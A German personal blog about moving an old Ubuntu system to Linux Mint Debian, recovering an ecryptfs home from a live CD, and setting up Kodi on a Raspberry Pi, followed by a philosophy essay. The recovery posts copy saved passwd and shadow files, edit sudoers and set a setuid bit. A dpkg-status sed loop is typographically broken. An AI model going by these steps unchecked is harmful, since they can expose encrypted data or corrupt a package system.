Über Politik und sonstiges

 Nachdem ich die LiveCD vier Tage benutzt hatte, bin ich dabei geblieben und habe es kurzerhand über mein Altsystem mit der manuellen Installation drüber installiert. Das ist nicht sauber, den die Binaries der alten Installation bleiben dabei erhalten. Die Paketliste ist dabei dann die von Linux Mint und es liegt damit natürlich viel altes Zeug auf der Festplatte herum.  Andererseits will ich ja auch alle Programme, die ich vorher benutzt habe auch nachher wieder benutzen.  Mit find . -type f in /mnt/sda1 > dateien habe ich mir eine Liste gemacht, was so alles rumliegt und

#!/bin/bash
awk '{printf "dpkg -S %s\n", $1}' dateien | sh | grep Kein

zeit mir alle Dateien an, die zu keinem Paket gehören. Leider funktioniert ein Pipe auf

awk '{printf "apt-file find %s\n", $8}' 

nicht, dann hätte ich die Liste der zu installierenden Pakete gleich, die noch fehlen. Aber das macht nichts, wenn ich die Ausgabe in eine Datei umleite, dann mache ich es halt auf die Datei  ./suchkeinpaket.sh &> ausgabe und

awk '{printf "apt-file find %s\n", $8}' ausgabe | sh

So fällt dann auf, dass gewisse Pakete in Buster einfach nicht existieren. gif2png zum Beispiel oder auch mp4tag – nicht das ich die Tools jetzt aussergewöhnlich oft benutze, aber manchmal sind sie halt nützlich und in irgendwo in der Gewohnheit verankert. Die Pakete existieren an sich entweder in testing, unstable oder oldstable. Ubuntu 18.04 baute auf buster/sid und nicht auf buster auf.  Deswegen ist die Wahrscheinlichkeit hoch, dass die Pakete in sid sind. In der Zwischenzeit ist sid aber bullseye und nicht mehr buster.

Einerseits will ein stabiles System und andererseits will ich auf gewohnte Pakete nicht verzichten. Das hat mich jetzt dazu gebracht an LMDE folgende Änderungen für apt vorzunehmen.

#/etc/apt/apt.conf.d/00default 
APT::Default-Release "stable";

Das stellt mir zunächst mal sicher, dass ich eigentlich „stable“ haben will, es sei denn Stable hat das nicht, was ich will. Linux Mint Debian arbeitet auch mit /etc/apt/preferences.d
 und hat für die Mintpakete einen Präferenz von 700 und 750 angegeben. Deswegen habe ich mir für Debian stable

# /etc/apt/preferences.d/stable.pref
# 500 <= P < 990: causes a version to be installed unless there is a
# version available belonging to the target release or the installed
# version is more recent 

Package: *
Pin: release a=stable
Pin-Priority: 600

mit einem geringeren Wert erstellt um Linux Mint vor Debian Buster zu nehmen, wird das gewünschte Paket dort nicht gefunden, soll apt in testing nachschauen.

# /etc/apt/preferences.d/testing.pref
# 100 <= P < 500: causes a version to be installed unless there is a
# version available belonging to some other distribution or the installed
# version is more recent

Package: *
Pin: release a=testing
Pin-Priority: 400

Und war das immer noch nicht erfolgreich, dann gibt es vielleicht noch ein altes Paket:

#/etc/apt/preferences.d/oldstable.pref
# 0 < P < 100: causes a version to be installed only if there is no
# installed version of the package

Package: *
Pin: release a=oldstable
Pin-Priority: 99

Auch dann kann es sein, dass ich immer noch nicht mein Paket habe, also gehe ich noch eine Stufe weiter und werde instabil:

# /etc/apt/preferences.d/unstable.pref
# 0 < P < 100: causes a version to be installed only if there is no
# installed version of the package

Package: *
Pin: release a=unstable
Pin-Priority: 50

Und in der letzten Verzweiflung, weil das Paket immer noch nicht da ist schliesslich die experimentelle Pakete:

#/etc/apt/preferences.d/experimental.pref
# 0 < P < 100: causes a version to be installed only if there is no
# installed version of the package

Package: *
Pin: release a=experimental
Pin-Priority: 1

Die Quellen für oldstable, stable, testing müssen dann natürlich auch in /etc/apt/sources.list.d vorhanden sein

# Beispiel für Testing /etc/apt/sources.list.d/testing.list
deb http://security.debian.org /debian testing main
deb http://debian.mirror.net-d-sign.de/debian/ testing main contrib non-free
deb http://debian.mirror.net-d-sign.de/debian/ testing-updates main contrib non-free
deb http://debian.mirror.net-d-sign.de/debian/ bullseye-backports main contrib non-free

Ein paar Pakete sind wohl auch nur in http://www.deb-multimedia.org/  zu finden

deb https://ftp-stud.hs-esslingen.de/pub/Mirrors/debian-multimedia/ stable main
deb-src https://ftp-stud.hs-esslingen.de/pub/Mirrors/debian-multimedia/ stable main

Und was ich jetzt nicht nachinstallieren kann, werde ich mir wohl überlegen, ob ich es lösche oder was es genau ist und warum das mal auf die Festplatte gelandet ist. Sowas wie ldapauthsearch.c ist ein kleines Progrämmchen, welches Authorisierung bei einem konkreten LDAP-Server vornimmt und natürlich kein Paket kennt, aber vielleicht mal gegen die neue Distribution kompiliert werden sollte. Das alte Binary funktioniert allerdings übrigens auch das alte gif2png tat es ohne klagen, würde aber eben nicht durch das Packagemanagement gepflegt und upgedated.

Bis jetzt gefällt mir Linux Mint Debian sehr gut. Cinnamon ist ein schöner Fenstermanager, der nur ein klitzekleines Problem hat, wenn zuviele Menüpunkte vorhanden sind, dann sprengt er das Display. Das gleiche macht Cinnamon bei zuvielen Wlans in der Networkmanageranzeige. 

 

Auf obigen Screenshot ist die Auswahl auf Barrierefreiheit, welche aber bereits nicht mehr zu sehen ist und die Untereinträge hat 6 Menüpunkte, wobei der erste Cellwriter ist und  davon ist gerade noch der letzte Screenmagnifier zu sehen. Die Eingabezeile oberhalb des Menüs zu erreichen ist da erst Recht unmöglich. Das ist äusserst ungeschickt von Cinnamon.  Leider ist es im Menüeditor nicht möglich die Hauptmenüs umzuarrangieren um zum Beispiel Barrierefreiheit als Untermenü von Zubehör zu machen. Das ist schade, der Fenstermanager an sich gefällt mir nämlich. Der Workaround schaute dann so aus, einfach Menüeinträge zu löschen, was aber dann natürlich die dazugehörigen Programme nicht mehr über das Menü zugänglich hält. Was für mit mit Alt+F2 an sich kein Problem ist, wenn ich weiß, was ich starten will. Aber manchmal hat man den dazugehörigen Befehlsnamen einfach vergessen oder weiß ihn schlicht nicht. Die Befehle sind ja meist auf Englisch und was schnell über „Einstellungen“ gefunden wird, heisst dann in Wirklichkeit cinnamon-settings oder „Benutzer“ ist dann in Wirklichkeit cinnamon-settings-users. 

Wen wie mich stört, dass bei einem update-initramfs ein ‚dead_belowmacron‘ auftaucht, der kann sich ja einfach das in der  Datei /usr/bin/ckbcomp

my %xkbsym_table = (
    'dead_belowmacron' => 'fe68',
    'space' => '0020',

hinzufügen und die Fehlermeldung ist weg. Was mich betrifft, bleibe ich erstmal bei Linux Mint in der Debianvariante. Mit den obigen Änderungen habe ich vermutlich alles was ich brauche.

ecryptfsLinux Mint in der Geschmacksvariante Cinnamon und Debian überrascht positiv. Gestartet wurde die LiveCD mit dem Grubeintrag:

menuentry "lmde-4-cinnamon-64bit.iso" {
     insmod part_msdos
     insmod fat
     insmod gzio
     insmod ext2
     set root='hd0,msdos2'
     set isofile="/lmde-4-cinnamon-64bit.iso" 
     set cmdline="locales=de_DE.UTF-8 keyboard-layouts=de timezone=Europe/Berlin"
     loopback loop $isofile
     linux  (loop)/live/vmlinuz boot=live config findiso=$isofile $cmdline
     initrd  (loop)/live/initrd.lz

}

Grundlegendes zu Liveisoboot gibt es hier

Ok wie immer muss ich meine Lieblingstools wie vi reparieren mit einem apt install vim-nox aber bei Mint muss ich mir hierzu keine Quellen in /etc/apt/sources.list hinzufügen. Das Kommando genügt und ich habe einen bedienbaren vim. VI ist kein schlechter Editor er wird nur von allen Distributionen grottig ausgeliefert und in den Anleitungen wird immer nano verwendet. Ich kenne VI schon aus uralten Zeiten als es noch kein Linux gab und ja meine allererste Begegnung mit war ein ständiges Fragen des Vorgesetzten. Hat man die Tastenkombinationen aber erstmal verinnerlicht, dann möchte man diesen Editor auf der Kommandozeile nicht mehr missen. Kein Editor ist so schnell in kurz mal eine Datei editieren. Mit Nano fühle ich mich jedes mal behindert.

  LMDE 4.0 überrascht schon dadurch, dass ecryptfs bereits in der LiveCD dabei ist. Nachdem ich mir findiso mit Schreiberechtigungen remounted habe
cd /home
tar -cf mint.tar mint
cd /run/live/findiso/
tar -xf /home/mint.tar
mount -o bind /run/live/findiso /home
cd /home/mint
cp .Xauthority .ICEauthority /home/Benutzerverzeichnis
vi /etc/sudoers  und Benutzer unter root in die sudoers eintragen für den privatemount
sollte der Benutzer die ID 1000 haben gibt es noch das kleine Problem zu beheben, dass mint auch die Benutzer ID 1000 hat.
passwd mint
und gleiches Benutzerpasswort wie das verschlüsselte Verzeichnis hat vergeben.
In der /etc/passwd /home/mint auf /home/Benutzerverzeichnis ändern.
su – Benutzer

Wie sagte Boris so schön „Ich bin drin.“ verschlüsselte Daten wieder im Zugriff.  Wenn ich also Linux Mint in der Geschmacksvariante Debian installiere sollte das rankommen an meine Daten kein Problem sein.

 

 

Immer das gleich Thema bei allen bisherigen Distributionen, das kein Clipboardmanager installiert ist. Ich weiß gar nicht wie man ohne einem solchen Tool leben kann. diodon funktioniert auch unter Cinnamon unter KDE benutze ich klipper. gpaste will wohl nur unter Gnome richtigoder sowas es gibt sogar für Cinnamon ein Gpaste-Reloaded applet, aber das mag hier nicht oder aber vielleicht meldet es sich bei einer Neuanmeldung. Auf der Livecd sind keine Lokalisierungen dabei. Unter Mint heissen die Pakete nicht wie unter Ubuntu mit locale also thunderbird-locale-de zum Beispiel sonder  thunderbird-l10n-de oder chromium-I10n. Apropos Chromium ausser dass das Paket nicht chromium-browser heisst ist es ein echter Browser und kein  Snap-Paket wie bei Ubuntu Focal.

enigmail ist bei der LiveCD auch nicht dabei. Soweit ging der Service bei der LiveCD von LMDE dann doch nicht. Aber ansonsten ist eigentlich alles da. Die Oberfläche meldet sich aufgrund der Bootparameter auf deutsch. Die meisten Locales sind also da nur von einzelnen Programmen wie LibreOffice nicht. Gimp fehlt auch in der LiveCD, was ja dann bei der Festplatteninstallation kein Problem ist. Aber solange ich hier mit LiveCDs arbeite, geht halt jede Installation in das Overlay und belastet das RAM.

To be continued, dauert jetzt vielleicht länger, das System teste ich glaube ich länger. Es gefällt mir. 

To be continued….

~~

Manches ist einfach Geschichte und so bin ich rein historisch bei ecryptfs gelandet. In den 90er Jahren des letzten Jahrhunderts war Verschlüsselung noch nicht das Thema. 2006 dann zog es auch auf der Benutzerebene ein. Alles was heutzutage so als sicher gilt, gab es damals noch nicht. ecryptfs war das was in den Linuxkernel gewandert ist. Und so kommt es das mein Heimatverzeichnis damit verschlüsselt ist. Es hat die diversen Releasewechsel überlebt und ist verschlüsselt so gewachsen.

Man erzählt sich, dass der Support dadurch stirbt, dass der Entwickler von Ubuntu zu Google gewechselt ist. Ausserdem sei es unsicher. Naja es ist nicht unsicherer als es 2010 war und ist auch in 2020 noch genauso sicher oder unsicher. Aber ja es stimmt, mit einem physischen Zugriff auf die Maschine ist es möglich das Heimatverzeichnis immer zu entschlüsseln, wenn man das Passwort des Benutzers kennt. Oder wenn man das  Passwort nicht kennt als Alternative der /etc/passwd und der /etc/shadow habhaft wird.

Ich persönlich betrachte das als Vorteil dahingehend, das ich an die Daten rankomme, wenn gewisse Bedingungen erfüllt sind. Ich brauche physischen Zugriff, ich weiß mein Passwort oder habe Zugriff auf /etc/shadow und die BenutzerID. In allen anderen Fällen habe ich verloren. Allerdings brauche ich nicht einen Key in dem Büro, dass vom Tiger bewacht wird welches den Abrissbescheid der Erde veröffentlicht hat. Tatsächlich birgt die perfekte Verschlüsselung das Risiko, das beim Verlieren eines einzigen Bausteins, die Daten für immer verloren sind, denn niemand auf dieser Erde wird sie mit vertretbaren Aufwand entschlüsseln können. Es ist ein Frage der Abwägung. In diesem Sinne betrachte ich ecryptfs nicht als perfekt sicher, aber als brauchbar.

Es erhöht für mich das Sicherheitsniveau dahingehend, dass meine Daten nicht für Hinz und Kunz auf Anhieb greifbar sind, weil sie nicht unverschlüsselt auf der Festplatte liegen. Bei einem blossen Start des Systems sind die Daten auch nicht zugänglich, es sei denn jemand wüsste mein Loginpasswort. Solange ich mich nicht eingeloggt habe kann niemand mit den Daten was anfangen, auch nicht mit einer BootCD.

Dennoch ist es einfach mit einer BootCD die Daten zu entschlüsseln.  Nehmen wir Debian Buster, was hier gerade läuft. Ich hatte das Isofile auf die Gleiche Partition gelegt in dem mein verschlüsseltes Heimatverzeichnis liegt. Wie das geht steht hier. Bei Buster ist im Gegensatz zu Ubuntu das isodevice nicht im Schreibzugriff, da dort aber auch mein verschlüsseltes Home liegt, zunächst mal ein:

mount -o remount,rw /dev/sda2 /run/live/findiso

Wo auch immer /etc/shadow /etc/group und /etc/passwd gespeichert ist vom Originalsystem mit dem Home mal verschlüsselt wurde, die sind für die Schritte notwendig. Ich habe sie und deswegen mache ich ein:

cat passwd >> /etc/passwd
cat shadow >> /etc/shadow
cat group >> /etc/group

Leider gibt es kein ecryptfs in Buster also muss ich mir das bauen. Dazu brauche ich den Quellcode denn ich mit:

bzr branch lp:ecryptfs

bekomme.  Ja, bzr ist auf in der Bootcd nicht installiert aber ein apt install schafft hier Abhilfe und dann kann ich mir ja auch gleich

apt install bzr distro-info dh-autoreconf dh-python intltool libglib2.0-dev libkeyutils-dev libnss3-dev libpam0g-dev pkg-config python-dev swig

installieren. Diese ganzen Pakete  braucht ecryptfs.

cd ecryptfs und dpkg-buildpackage -b -ui baut mir dann die notwendigen Pakete für Buster, die sich alle ausser ecryptfs-utils installieren lassen, warum auch immer die Abhängigkeit libnss3-1d  in den Orginalsourcen definiert ist, aber daran scheitert es. Das macht aber nichts, das dpkg-buildpackage war eigentlich nur dazu da, damit die ganzen Pfade im make debian-like sind. Nachdem das erfolgt ist, kann ich einfach ein make install machen und ecryptfs ist nun im overlay verfügbar.

cp -r /home/user  /run/live/findiso
mount -o bind /run/live/findiso /home
vi /etc/sudoers  und Benutzername zu den sudoers hinzufügen
chmod u+s /usr/sbin/mount.ecryptfs_private
su – Benutzername

Das Verzeichnis ist dann entschlüsselt und zugänglich. Nun startet Buster unter Wayland, was ich noch nicht rausgefunden habe, wie ich die Authority in demselben Xwayland umziehe. Ein Strg+Alt+F3 auf die Konsole sich dort einloggen und dann startx bringt die alte Arbeitsumgebung zurück. Ich habe den Verdacht dass bei der LiveCD Buster kein gdm komplett konfiguriert ist. Weder abmelden noch Benutzerwechsel funktioniert nach diesen Schritten.

To be continued ….

 

Buster in die Tonne zu treten, war etwas voreilig. Der Kerneloops kommt auch bei Beowulf vor und deswegen habe ich mir das nochmal angeschaut.

Jeder Kernel der LiveCDs hat anscheinend unterschiedliche Bootparameter. Da gibt es wohl keine Standards. Unter Ubuntu liegt der Kernel in /casper  unter MX-Linux in /antiX und bei Debian und Devuan in /live – das aber alleine langt als Wissen nicht. MX-Linux ist bisher der schwerste Brocken, dessen Bootscripte suchen nach Devices eine Isodatei ist halt kein klassisches Gerät wie /dev/sr0 usf. ich habe noch nicht rausgefunden wie ich dem vmlinuz von MX-Linux beibringe auf loop zu suchen.

Ubuntu 16.04 sieht zum Beispiel so aus:

 linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=$isofile noprompt noeject locale=de_DE bootkbd=de console-setup/layoutcode=de

Ubuntu 18.04 dann so:

linux (loop)/casper/vmlinuz boot=casper iso-scan/filename=$isofile noprompt noeject locale=de_DE bootkbd=de console-setup/layoutcode=de

initrd (loop)/casper/initrd.lz

Und Ubuntu 20.04 wieder anders:

linux (loop)/casper/vmlinuz iso-scan/filename=$isofile file=/cdrom/preseed/ubuntu.seed boot=casper locale=de_DE bootkbd=de console-setup/layoutcode=de quiet splash ---

initrd (loop)/casper/initrd

Die Variablen set root und set isofile sind eigentlich bei allen Distributionen gleich.  Wenn das Isofile auf der ersten Festplatte der ersten  Partition liegt, dann wäre es

set root='hd0,msdos1'

Ich lege mir die zu testen LiveCDs aber immer auf die zweite Partition msdos2, da ich später das System auf die erste Partition installieren will. Die zweite Partition ist auch mein /home wo meine Daten liegen und die will ich auch bei Neuinstallation behalten. Ausserdem hat sich das bei Ubuntu bisher bewährt, dass ich damit nicht immer wieder alles neu einrichten muss und ein Rettungssystem immer im Grub zur Verfügung habe.

Nun musste ich feststellen, dass zwischen den Distribution nicht nur das Verzeichnis anders ist, sondern die Kernelbootparameter nicht übertragbar sind. Bei Devuan Beowulf funktioniert folgendes:

set root='hd0,msdos2'
set isofile="/devuan_beowulf_3.0.0_beta3_amd64_desktop-live.iso"
set cmdline="locales=de_DE.UTF-8 keyboard-layouts=de timezone=Europe/Berlin"
loopback loop $isofile
linux (loop)/live/vmlinuz boot=live config findiso=$isofile $cmdline username=devuan apparmor=0 
initrd (loop)/live/initrd.img

funktioniert unter MX-Linux leider nicht

keyboard-layouts=de 

verursacht einen Kerneloops, aber so kommt es, dass Buster nochmal eine Chance bekommen hat. Momentan schreibe ich unter Buster, weil mir das XFCE in der Konfiguration von Devuan nicht gefallen hat. Es wird sich sichelich einstellen lassen, dass das Touchpad auf Tippen reagiert, aber ich habe die Einstellung unter Devuan nicht gefunden. Buster hingegen hat zwar diese Einstellung auch, dass Tippen standardmässig ausgeschaltet ist, aber in der Oberfläche ist es dem Ubuntu sehr ähnlich und Einstellung Touchpad hat mir das wiedergegeben. In der grub.cfg für Debian Buster sieht dass dann so aus:

set root='hd0,msdos2' 
set isofile="/installdebian.iso"
set cmdline="locales=de_DE.UTF-8 keyboard-layouts=de timezone=Europe/Berlin"
loopback loop (hd0,msdos2)/$isofile
linux (loop)/live/vmlinuz-4.19.0-8-amd64 boot=live config findiso=$isofile $cmdline 
initrd (loop)/live/initrd.img-4.19.0-8-amd64

Ecryptfs kommt aus der Mode. Moniert wird bei dieser Festplattenverschlüsselung, dass es nicht ganz sicher ist. Das stimmt in gewisser Hinsicht. Für mich ist es aber kein Bug sondern eher ein Feature. Moniert wird, dass wenn sich ein Nutzer einmal mit seinem Passwort eingeloggt hat und sein /home entschlüsselt ist, dass dann das Verzeichnis entschlüsselt ist und zwar auch dann, wenn er sich wieder auslogt. Dieses Ausloggen kann zum Beispiel passieren wenn man Strg+Alt+Tab macht und den Xserver abschiesst, weil das System aus welchen gründen auch immer zuviel swapt, weil man Blödsinn angestellt hat, und das eine gute Möglichkeit ist, den wildgewordenen Prozess gewaltsam zu beenden. In diesem Moment ist das Verzeichnis dann immer noch unverschlüsselt und mit physischen Zugriff lesbar. Das kann man als Sicherheitslücke einer ordentlichen Verschlüsselung betrachten. Ja es ist nicht so sicher wie eine Verschlüsselung auf Geräteebene. Man könnte auch sagen, es ist broken bei Desigen, weil es nur eine Dateiverschlüsselung Jahrelang also so von 2006 bis 2018 hat das niemanden gestört. Irgendwann hat aber wohl ein Sicherheitsfanatiker dazu einen Bug aufgemacht. Und jetzt scheint ecryptfs aus allen Distributionen zu fliegen. So ist ecryptfs auch in  Buster nicht enthalten.  Ebenso weil die Meute dann allesamt in die gleiche Richtung rennt, ist es auch in Devuan Beowulf nicht enthalten. In Devuan Ascii ist es noch vorhanden.  Nun ich habe mein Home aber 2006 mit ecryptfs verschlüsselt und ziehe es seitdem halt immer mit. Tatsächlich hat das Heimatverzeichnis eine Größe erreicht, dass ich nicht genügend Platz auf der Festplatte habe um es so eben mal unentschlüsselt auf dieselbe Festplatte zu legen. Um ecryptfs rückgänge zu machen, sagt die Anleitung einfach entschlüssel es mach ein tar aus den entschlüsselten Daten, dann eine umount auf das private und dann wieder entpacken. Nette Empfehlung, aber die verschlüsselten Daten sind dann immer noch auf der Festplatte und man braucht den Platz quasi dreimal um das wieder rückgängig zu machen. In meinem Fall auf einer 500GB Platte also 600GB bei einem Heimatverzeichnis von 200GB.

Deswegen beinhaltet mein Test auch immer, komme ich auch wieder an meine Daten.

To be continued ….

Der Blog hier ist ziemlich vernachlässigt. Vielleicht hätte es genügend zu Schreiben gegeben. Dieser Server hat jetzt noch eine Domain mehr bekommen (dibpiraten.de)  und im Nachhinein betrachtet, war die ganze Arbeit für die Katz. Kein Wunder, dass ich nichts mehr über Politik schreibe.

Sich 5729 Fernsehsender mit einem kleinen Raspberry Pi 4 einzurichten, macht da einfach mehr Spaß. In der Zwischenzeit gibt es auch schöne Gehäuse für diesen kleinen Einplatinencomputer und mit Noobs ist die Einrichtung ein Kinderspiel als Dualboot Raspbian und LibreElec – beide Betriebssystem deswegen, weil KODI unter LibreElec einfach besser läuft, aber LibreElec viele Dinge nicht kann, die man doch mal haben möchte. Und sei es auch nur mal ein Dokument zu scannen und zu drucken oder im Internet zu surfen, das kann Raspbian halt besser. Als Fernseher und Musikabspielmaschine ist LibreElec mit Kodi aber besser.

Würde ich mir den RasPi nochmal aufsetzen, dann wahrscheinlich mit Bootberry statt Noobs, weil Noobs kein Bluetooth kann und das nervt. Die Addons für KOBI, damit das Kistchen alles kann, was man so will, muss man sich zusammensuchen. AmazonVod bei Sandmann79 oder Netflix wieder woanders. Kodinerds ist ein Repository mit so dem wichtigsten deutschen Kram. Wer sich Kodi so richtig mit Kiddiekram zerschiessen will, der nimmt sich ein Limitless-Repository installiert den LuxuryWizard und hat danach ein zerschossenes überfrachtetes System, auf dem so gut wie nichts mehr ordentlich funktioniert, dafür lassen sich lauter illegale Sachen wie Bezahlfernsehen über dubiose Proxys anschauen.

Die über 5000 Fernsehsender gibt es hier https://github.com/iptv-org/iptv – die sagen zwar 8000 aber es funktionieren wohl nur so 5000 zumindest mit einer deutschen IP – was dann noch fehlt ist Pro7 und RTL – wer das sehen will kann sich joyn-Addon und TvNow-Addon besorgen bzw. Zattoo und Waipu – Zattoo funkioniert auch im TV-Modus Waipu nur als Videoaddon.

Das Youtube-Plugin will einen eigenen Apikey damit es richtig funzt. Funktioniert das funktionieren auch tutzende andere Plugins von SpiegelTV bis NASA – ist der Port 8080 bei Kodi freigegeben, dann kann von jedem Browser Videos zum Kodi gestreamt werden, der das Playkodi-Browserplugin hat.

Ansonsten die Addons für Kodi sind in Hülle und Fülle vorhanden. Man kann die DECT-Fritzboxsteckdose genauso ansteuern, aber manches geht wohl auf dem ARM-Prozessor nicht, manches Plugin geht davon aus, dass KODI auf einem Windows läuft, sonst wäre wohl auch ein Sipphone als auch ein externer Browser unter Kodi möglich. Kodi läuft auch unter dem Raspbian allerdings stürzt er bei mehreren Stunden dann manchmal ab unter libreElec läuft KODI halt stabil.

Wie auch immer KODI auf dem RasPI ist ein tolles Spielzeug – es kann eigentlich alles was Chromecast oder Firestick können und dann eben noch vieles vieles mehr. Der Chromecast verstaubt jetzt in der Ecke, seitdem an der Schnittstelle der RasPi hängt.

Der einfache Weg ohne Schmerzen ist – mach ein Backup von allem was dir wichtig ist. formatier die Festplatte. Installiere Debian. Fertig. Spiel die Daten wieder ein, die dir wichtig sind.

Nun zum komplizierten Weg, den der geneigte Leser vielleicht nur dann beschreiten will, wenn er viel Zeit hat oder aber schon die Paketauswahl bei der Installation von Debian aufgrund der Komplexität der funktionierenden Paketzusammenstellung ein Problem ist. In meinem Fall war es ein 10 Jahre altes System von der Hardware her und von der Software her wohl so 20 bis 30 Jahre alt.

Von den Daten her ist das System wohl älter als 30 Jahre.  Monkey Island erschien 1990 und funktioniert immer noch. Die Disketten sind irgendwann auf die Festplatte gewandert und selbst wenn die Hardware keine Diskettenlaufwerke mehr hat funktioniert das Spiel immer noch unter Linux. Wie welche Software dann noch funktioniert, ist eine Frage der Paketauswahl und die ist halt historisch gewachsen. Es lief unter Novelldos ebenso wie unter OS/2 und SuSE wanderte zu Gentoo und landete vor 10 Jahren bei Ubuntu. 

So alle zehn Jahre eine Migration zu einem anderen Betriebssystem macht natürlich schmerzen, aber das mit dem Festplatte formatieren und wieder einspielen, ist für ein Arbeitsystem ganz nett, aber nicht für so eine gewachsene Geschichte und dann ist da noch der Nerd in mir, ob das überhaupt geht.

Im Nachhinein ist man immer schlauer und nachdem ich die Migration durchgezogen habe, würde ich sagen es geht einfacher:

cd /var/lib/dpkg 

for i in `grep ^Version: status | cut -d‘:‘ -f2 | sort -u`; do sed -i s/Version: $i/Version: 0.1ubuntu1/g status; done

apt –fix-broken dist-upgrade

Zwar gibt es berichte im Internet, dass Sourcen eintragen und apt upgrade und apt dist-upgrade genügen würden, das was da hinterher rauskommt ist aber ein Fakeupgrade mit diversen Problemen. 

Es funktionert zwar aber es werden genügend Ubuntupakete auf der Festplatte bleiben, die mit dieser Methode nicht migriert werden. Unter anderem der Kernel wenn der Versionsunterschied nicht zu gross ist. Der Ubuntukernel ist daber kein Debiankernel, was auch andere kleine Schwierigkeiten mit sich bringt. Larry Finger schreibt zum Ubuntukernel:

„This code will build on any kernel 4.2 and newer as long as the distro has not modified any of the kernel APIs. IF YOU RUN UBUNTU, YOU CAN BE ASSURED THAT THE APIs HAVE CHANGED. NO, I WILL NOT MODIFY THE SOURCE FOR YOU. YOU ARE ON YOUR OWN!!!!!“

Da ich bei meinen Gehversuchen Ubuntu zu Debian zu migrieren, nicht bemerkt habe, dass der Kernel nicht migriert wurde – das System lief zunächst scheinbar normal – kann ich das nur bestätigen. 

Auf die Idee gebracht hatte mich:

https://www.glasen-hardt.de/2017/06/24/upgrade-von-ubuntu-16-04-auf-debian-9/

das funktioniert scheinbar, aber eben nur scheinbar. Danach hat man ein Mischsystem aus Debian und Ubuntu Paketen. Die Quelle der Updates ist zwar dann Debian, aber eigentlich läuft dann immer noch der Ubuntukernel und viel Ubuntusoftware, die nicht aktualisiert wurde. Die Ubuntupakete werden dann bis zum Sanktnimmerleinstag in der Ubuntuversion bestehen bleiben zum beispiel linux-kernel – welches es in Debeian nicht gibt.

Mein Weg nachdem die Migration scheinbar geklappt hatte, war mit Einzelpaketen etwas komplizierter und schmerzvoller. Letztlich aber um das System zu bereinigen kam nach Wochen 

for i in `grep ^Version: status | cut -d‘:‘ -f2 | sort -u`; do sed -i s/Version: $i/Version: 0.1ubuntu1/g status; done

ins Spiel. Möglicherweise muss ich 0.1ubuntu1 noch niedriger setzen um alle Ubuntupakete los zu werden, aber letztlich scheint es mir die einzige Möglichkeit um von A nach B zu gehen. 

 

 

 

 

 

 

 

 

Freiheit ist nicht beliebig denkbar. Als ich Anton Zeilinger in einem Gastvortrag an der LMU München hörte, behauptete er, dass ihm kein Philosoph die Frage hätte beantworten können, dass die Kaffeetasse in seinem Labor das Experiment beeinflussen könnte und diese Handlung, dann ja die physikalische Wahrheit beeinflusse.

Ich denke die Frage wurde von mehr als einem Philosophen bereits beantwortet, jedoch gefällt die Antwort dem Experimentalphysiker Zeilinger nicht. Es ist weniger eine Frage, wie die Antwort auf unsere Handlungsfreiheit lautet, sondern eher wie wir damit umgehen. Ähnlich dem Doppelspaltexperiment ist die Freiheit einerseits in unendliche Möglichkeiten als Freiheit wahrnehmbar, kann sich aber nur in einer Handlung vollenden.

So mag es den Experimentalphysiker verwirren, dass sein Handlung in Form des Messens das Experiment beeinflusst und würde er nicht messen, dann gäbe es den Einfluss nicht. Auf der anderen Seite, könnte er selbst das nicht tun, wenn nicht viele Handlungen in der Vergangenheit vorausgegangen wären. Die Freiheit etwas Neues zu entdecken, hat nur der, der das Alte kennt.

Selbstverständlich sind die Tatsachen des Physikalischen einerseits unbestritten andererseits aber nur auf einer zweitausendjährigen Handlungsabfolge denkbar. Es ist reine Spekulation, ob manches nicht hätte früher entdeckt werden können, wenn die Geschichtsläufe andere gewesen wären. Aber Zeilingers Kaffeetasse wird für Aristoteles zu einem undenkbaren Begriff, weil Kaffee kein Begriff gewesen wäre. Für das Wissen Kaffee muss ich weder wissen, dass der Begriff im 9. Jahrhundert entstanden ist, noch muss ich als Zuhörer das Problem verstehen. Wenn ich aber als Experimentalphysiker die Frage nach der Freiheit stelle, dann sollte einem wenigstens die Unfreiheit bewusst sein, die die Vergangenheit unabänderlich macht. Ohne diese Vergangenheit hiesse die Kaffeetasse nicht Kaffeetasse und wir hätten ohne diesem nicht einmal einen Begriff davon, was Zeilinger mit seiner Frage meinen könnte.

Aber vermutlich wäre Zeilinger nie Experimentalphysiker geworden, wenn er darüber zuviel nachgedacht hätte. Es ist wesentlich leichter die Begrifflichkeiten anzunehmen und auf diese Aufzubauen, als sie zu hinterfragen. Der Wissenserwerb im Vertrauen auf die festgelegten Begrifflichkeiten ist sicherlich angenehmer und einfacher.

Freiheit vollendet sich schon bei der Geburt dahingehend, dass zwar die theoretische Freiheit besteht eine der 4000 Sprachen der Menschheit zu wählen, aber tatsächlich die Muttersprache bestimmender ist für die Erstsprache eines Menschen. Damit Anton Zeilinger seine Frage überhaupt stellen kann, muss sich die gesamte Physik als Wissenschaft so entwickelt haben, wie sie sich entwickelt hat. Er hat in diesem Moment soviel Begrifflichkeiten bereits akzeptiert und als wahr angenommen, dass er wahrscheinlich nie Experimentalphysiker geworden wäre, wenn er das nicht hätte.

„ἐξ ὧν δὲ ἡ γένεσίς ἐστι τοῖς οὖσι, καὶ τὴν φθορὰν εἰς ταῦτα γίνεσθαι κατὰ τὸ χρεών· διδόναι γὰρ αὐτὰ δίκην καὶ τίσιν ἀλλήλοις τῆς ἀδικίας κατὰ τὴν τοῦ χρόνου τάξιν.“ soll vom Vorsokratiker Anaximander stammen „Von den aber, die sagen, das Prinzip sei eines, bewegt und unbegrenzt, hat Anaximander, Sohn des Praxiades, aus Milet, Nachfolger und Schüler des Thales, behauptet, Prinzip und Element der seienden Dinge sei das Apeiron, wobei er als erster diese Bezeichnung des Prinzips eingeführt hat. Er behauptet, dieses sei weder Wasser noch ein anderes der sogenannten Elemente, sondern eine bestimmte andere, unbegrenzte Natur, aus der alle Himmel und die darin befindliche Ordnung entstünden. Das Vergehen der seienden Dinge erfolge in die Elemente, aus denen sie entstanden seien, gemäß der Notwendigkeit: Denn sie zahlten einander Strafe und Buße für ihre Ungerechtigkeit nach der Ordnung der Zeit; so äußert er sich darüber in poetischeren Worten.“ und als die alten Griechen in der Renaissance nach Europa zurückkehren taucht Zeilingers Kaffeetasse mit den Worten auf „Wäre der Wille, vor zwei vollständig identische Alternativen gestellt, in der Lage, eine Alternative der anderen vorzuziehen?“ und wird auch als Buridans Esel bezeichnet. In der Informatik wird die Situation auch als Deadlock bezeichnet. Die Informatik hat übrigens drei Antworten zum Abstellen von Zeilingers Tasse. Das wären Abbruch, Warten auf ein veränderndes Ereignis oder Zurückgehen.

